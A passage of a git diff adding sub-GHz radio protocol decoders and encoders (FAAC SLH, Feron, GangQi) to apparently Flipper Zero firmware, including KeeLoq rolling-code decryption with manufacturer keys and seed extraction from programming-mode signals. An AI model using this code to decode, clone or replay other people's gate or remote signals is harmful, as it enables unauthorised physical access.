+    if(((data_prg[7] == 0x52) && (data_prg[6] == 0x0F) && (data_prg[0] == 0x00))) {
+        faac_prog_mode = true;
+        // ProgMode ON
+        for(uint8_t i = data_prg[1] & 0xF; i != 0; i--) {
+            data_tmp = data_prg[2];
+
+            data_prg[2] = data_prg[2] >> 1 | (data_prg[3] & 1) << 7;
+            data_prg[3] = data_prg[3] >> 1 | (data_prg[4] & 1) << 7;
+            data_prg[4] = data_prg[4] >> 1 | (data_prg[5] & 1) << 7;
+            data_prg[5] = data_prg[5] >> 1 | (data_tmp & 1) << 7;
+        }
+        data_prg[2] ^= data_prg[1];
+        data_prg[3] ^= data_prg[1];
+        data_prg[4] ^= data_prg[1];
+        data_prg[5] ^= data_prg[1];
+        instance->seed = data_prg[5] << 24 | data_prg[4] << 16 | data_prg[3] << 8 | data_prg[2];
+        uint32_t dec_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
+                             data_prg[4];
+        uint32_t dec_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
+                             data_prg[0];
+        instance->data_2 = (uint64_t)dec_prg_1 << 32 | dec_prg_2;
+        instance->cnt = data_prg[1];
+
+        *manufacture_name = "FAAC_SLH";
+        return;
+    } else {
+        if(code_fix != 0x0) {
+            temp_fix_backup = code_fix;
+            instance->serial = code_fix >> 4;
+            instance->btn = code_fix & 0xF;
+        }
+
+        faac_prog_mode = false;
+    }
+
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            switch(manufacture_code->type) {
+            case KEELOQ_LEARNING_FAAC:
+                // FAAC Learning
+                man = subghz_protocol_keeloq_common_faac_learning(
+                    instance->seed, manufacture_code->key);
+                decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man);
+                *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                break;
+            }
+        }
+    instance->cnt = decrypt & 0xFFFFF;
+    // Backup counter in case when we need to use programming mode
+    if(code_fix != 0x0) {
+        temp_counter_backup = instance->cnt;
+    }
+}
+
+uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+
+    // Reset seed leftover from previous decoded signal
+    instance->generic.seed = 0x0;
+    temp_fix_backup = 0x0;
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t seed_data[sizeof(uint32_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint32_t); i++) {
+        seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+    }
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+        FURI_LOG_E(TAG, "Unable to add Seed");
+        res = SubGhzProtocolStatusError;
+    }
+    instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                             seed_data[3];
+
+    subghz_protocol_faac_slh_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    return res;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        if(instance->generic.data_count_bit !=
+           subghz_protocol_faac_slh_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            break;
+        }
+
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_E(TAG, "Missing Seed");
+            break;
+        }
+        bool tmp_allow_zero_seed;
+        if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
+            allow_zero_seed = true;
+        } else {
+            allow_zero_seed = false;
+        }
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    subghz_protocol_faac_slh_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+    uint32_t code_fix = instance->generic.data >> 32;
+    uint32_t code_hop = instance->generic.data & 0xFFFFFFFF;
+
+    if(faac_prog_mode == true) {
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Master Remote Prog Mode\r\n"
+            "Ke:%lX%08lX\r\n"
+            "Kd:%lX%08lX\r\n"
+            "Seed:%08lX mCnt:%02X",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data >> 32),
+            (uint32_t)instance->generic.data,
+            (uint32_t)(instance->generic.data_2 >> 32),
+            (uint32_t)instance->generic.data_2,
+            instance->generic.seed,
+            (uint8_t)(instance->generic.cnt & 0xFF));
+    } else if((allow_zero_seed == false) && (instance->generic.seed == 0x0)) {
+        // push protocol data to global variable
+        subghz_block_generic_global.btn_is_available = true;
+        subghz_block_generic_global.current_btn = instance->generic.btn;
+        subghz_block_generic_global.btn_length_bit = 4;
+        //
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%lX%08lX\r\n"
+            "Fix:%08lX\r\n"
+            "Hop:%08lX    Btn:%X\r\n"
+            "Sn:%07lX Sd:Unknown",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data >> 32),
+            (uint32_t)instance->generic.data,
+            code_fix,
+            code_hop,
+            instance->generic.btn,
+            instance->generic.serial);
+    } else {
+        // push protocol data to global variable
+        subghz_block_generic_global.cnt_is_available = true;
+        subghz_block_generic_global.cnt_length_bit = 20;
+        subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+        subghz_block_generic_global.btn_is_available = true;
+        subghz_block_generic_global.current_btn = instance->generic.btn;
+        subghz_block_generic_global.btn_length_bit = 4;
+        //
+
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%lX%08lX\r\n"
+            "Fix:%08lX    Cnt:%05lX\r\n"
+            "Hop:%08lX    Btn:%X\r\n"
+            "Sn:%07lX Sd:%08lX",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data >> 32),
+            (uint32_t)instance->generic.data,
+            code_fix,
+            instance->generic.cnt,
+            code_hop,
+            instance->generic.btn,
+            instance->generic.serial,
+            instance->generic.seed);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.h
new file mode 100644
index 000000000..60f10a34f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.h
@@ -0,0 +1,113 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_FAAC_SLH_NAME "Faac SLH"
+
+typedef struct SubGhzProtocolDecoderFaacSLH SubGhzProtocolDecoderFaacSLH;
+typedef struct SubGhzProtocolEncoderFaacSLH SubGhzProtocolEncoderFaacSLH;
+
+extern const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder;
+extern const SubGhzProtocol subghz_protocol_faac_slh;
+
+/**
+ * Allocate SubGhzProtocolEncoderFaacSLH.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderFaacSLH* pointer to a SubGhzProtocolEncoderFaacSLH instance
+ */
+void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ */
+void subghz_protocol_encoder_faac_slh_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ */
+void subghz_protocol_encoder_faac_slh_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderFaacSLH.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderFaacSLH* pointer to a SubGhzProtocolDecoderFaacSLH instance
+ */
+void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ */
+void subghz_protocol_decoder_faac_slh_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ */
+void subghz_protocol_decoder_faac_slh_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output);
+
+// Reset prog mode vars
+// TODO: Remake in proper way
+void faac_slh_reset_prog_mode(void);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/feron.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/feron.c
new file mode 100644
index 000000000..61dd5e445
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/feron.c
@@ -0,0 +1,351 @@
+#include "feron.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolFeron"
+
+static const SubGhzBlockConst subghz_protocol_feron_const = {
+    .te_short = 350,
+    .te_long = 750,
+    .te_delta = 150,
+    .min_count_bit_for_found = 32,
+};
+
+struct SubGhzProtocolDecoderFeron {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderFeron {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    FeronDecoderStepReset = 0,
+    FeronDecoderStepSaveDuration,
+    FeronDecoderStepCheckDuration,
+} FeronDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_feron_decoder = {
+    .alloc = subghz_protocol_decoder_feron_alloc,
+    .free = subghz_protocol_decoder_feron_free,
+
+    .feed = subghz_protocol_decoder_feron_feed,
+    .reset = subghz_protocol_decoder_feron_reset,
+
+    .get_hash_data = subghz_protocol_decoder_feron_get_hash_data,
+    .serialize = subghz_protocol_decoder_feron_serialize,
+    .deserialize = subghz_protocol_decoder_feron_deserialize,
+    .get_string = subghz_protocol_decoder_feron_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_feron_encoder = {
+    .alloc = subghz_protocol_encoder_feron_alloc,
+    .free = subghz_protocol_encoder_feron_free,
+
+    .deserialize = subghz_protocol_encoder_feron_deserialize,
+    .stop = subghz_protocol_encoder_feron_stop,
+    .yield = subghz_protocol_encoder_feron_yield,
+};
+
+const SubGhzProtocol subghz_protocol_feron = {
+    .name = SUBGHZ_PROTOCOL_FERON_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Sensors,
+
+    .decoder = &subghz_protocol_feron_decoder,
+    .encoder = &subghz_protocol_feron_encoder,
+};
+
+void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderFeron* instance = malloc(sizeof(SubGhzProtocolEncoderFeron));
+
+    instance->base.protocol = &subghz_protocol_feron;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_feron_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFeron* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderFeron instance
+ */
+static void subghz_protocol_encoder_feron_get_upload(SubGhzProtocolEncoderFeron* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_long);
+            if(i == 1) {
+                //Send 500/500 and gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                // Gap
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_short);
+            if(i == 1) {
+                //Send 500/500 and gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                // Gap
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_feron_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = instance->data >> 16;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFeron* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_feron_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_feron_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_feron_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_feron_stop(void* context) {
+    SubGhzProtocolEncoderFeron* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_feron_yield(void* context) {
+    SubGhzProtocolEncoderFeron* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderFeron* instance = malloc(sizeof(SubGhzProtocolDecoderFeron));
+    instance->base.protocol = &subghz_protocol_feron;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_feron_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_feron_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    instance->decoder.parser_step = FeronDecoderStepReset;
+}
+
+void subghz_protocol_decoder_feron_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+
+    // Feron Decoder
+    // 2025.04 - @xMasterX (MMX)
+
+    // Key samples
+    /*
+    0110001100111000 1000010101111010 - ON
+    0110001100111000 1000010001111011 - OFF
+
+    0110001100111000 1000011001111001 - brightness up
+    0110001100111000 1000011101111000 - brightness down
+ 
+    0110001100111000 1000001001111101 - scroll mode command
+
+    ------------------------------------------
+    0110001100111000 0111000010001111 - R
+    0110001100111000 0001101011100101 - B
+    0110001100111000 0100000010111111 - G
+    */
+
+    switch(instance->decoder.parser_step) {
+    case FeronDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_feron_const.te_long * 6) <
+                        subghz_protocol_feron_const.te_delta * 4)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = FeronDecoderStepSaveDuration;
+        }
+        break;
+    case FeronDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = FeronDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = FeronDecoderStepReset;
+        }
+        break;
+    case FeronDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short and long timing = 350us HIGH (te_last) and 750us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
+                subghz_protocol_feron_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_feron_const.te_long) <
+                subghz_protocol_feron_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = FeronDecoderStepSaveDuration;
+                // Bit 1 is long and short timing = 750us HIGH (te_last) and 350us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
+                 subghz_protocol_feron_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_feron_const.te_short) <
+                 subghz_protocol_feron_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = FeronDecoderStepSaveDuration;
+            } else if(
+                // End of the key 500Low(we are here)/500High us
+                DURATION_DIFF(
+                    duration, (uint16_t)(subghz_protocol_feron_const.te_short + (uint16_t)150)) <
+                subghz_protocol_feron_const.te_delta) {
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
+                    subghz_protocol_feron_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
+                    subghz_protocol_feron_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 32 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_feron_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = FeronDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = FeronDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = FeronDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_feron_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+
+    subghz_protocol_feron_check_remote_controller(&instance->generic);
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%08lX\r\n"
+        "Serial: 0x%04lX\r\n"
+        "Command: 0x%04lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        (uint32_t)(instance->generic.data & 0xFFFF));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/feron.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/feron.h
new file mode 100644
index 000000000..97f0eb6fe
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/feron.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_FERON_NAME "Feron"
+
+typedef struct SubGhzProtocolDecoderFeron SubGhzProtocolDecoderFeron;
+typedef struct SubGhzProtocolEncoderFeron SubGhzProtocolEncoderFeron;
+
+extern const SubGhzProtocolDecoder subghz_protocol_feron_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_feron_encoder;
+extern const SubGhzProtocol subghz_protocol_feron;
+
+/**
+ * Allocate SubGhzProtocolEncoderFeron.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderFeron* pointer to a SubGhzProtocolEncoderFeron instance
+ */
+void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderFeron.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ */
+void subghz_protocol_encoder_feron_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ */
+void subghz_protocol_encoder_feron_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_feron_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderFeron.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderFeron* pointer to a SubGhzProtocolDecoderFeron instance
+ */
+void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ */
+void subghz_protocol_decoder_feron_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ */
+void subghz_protocol_decoder_feron_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_feron_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.c
new file mode 100644
index 000000000..f3e9c0daa
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.c
@@ -0,0 +1,490 @@
+#include "gangqi.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolGangQi"
+
+static const SubGhzBlockConst subghz_protocol_gangqi_const = {
+    .te_short = 500,
+    .te_long = 1200,
+    .te_delta = 200,
+    .min_count_bit_for_found = 34,
+};
+
+struct SubGhzProtocolDecoderGangQi {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderGangQi {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    GangQiDecoderStepReset = 0,
+    GangQiDecoderStepSaveDuration,
+    GangQiDecoderStepCheckDuration,
+} GangQiDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder = {
+    .alloc = subghz_protocol_decoder_gangqi_alloc,
+    .free = subghz_protocol_decoder_gangqi_free,
+
+    .feed = subghz_protocol_decoder_gangqi_feed,
+    .reset = subghz_protocol_decoder_gangqi_reset,
+
+    .get_hash_data = subghz_protocol_decoder_gangqi_get_hash_data,
